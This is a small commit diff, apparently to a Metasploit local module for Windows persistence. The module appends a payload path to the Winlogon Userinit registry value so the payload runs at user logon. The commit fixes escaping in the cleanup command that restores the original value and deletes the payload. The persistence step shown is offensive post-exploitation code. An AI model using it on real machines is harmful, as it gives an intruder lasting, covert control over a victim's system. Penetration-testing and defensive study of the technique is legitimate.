windows persistence userinit v6

This commit is contained in:
root
2026-01-03 15:37:44 -05:00
parent cb7dd50731
commit d2c192e9bf
@@ -85,7 +85,8 @@ class MetasploitModule < Msf::Exploit::Local
new_value = (old_value.split(',') + [payload_pathname]).join(',')
vprint_status("Updating '#{old_value}' to '#{new_value}'")
registry_setvaldata(regkey, 'Userinit', new_value, 'REG_SZ')
@clean_up_rc = "execute -f cmd.exe -a '/c reg.exe add \"#{regkey}\" /v Userinit /t REG_SZ /d \"#{old_value}\" /f -H\n"
escaped_old_value = old_value.gsub('\\', '\\\\')
@clean_up_rc = %(execute -f cmd.exe -a "/c reg add \\\"#{regkey}\\\" /v Userinit /t REG_SZ /d \\\"#{escaped_old_value}\\\" /f" -H\n)
@clean_up_rc<<"rm #{payload_pathname.gsub('\\','/')}\n"
end
end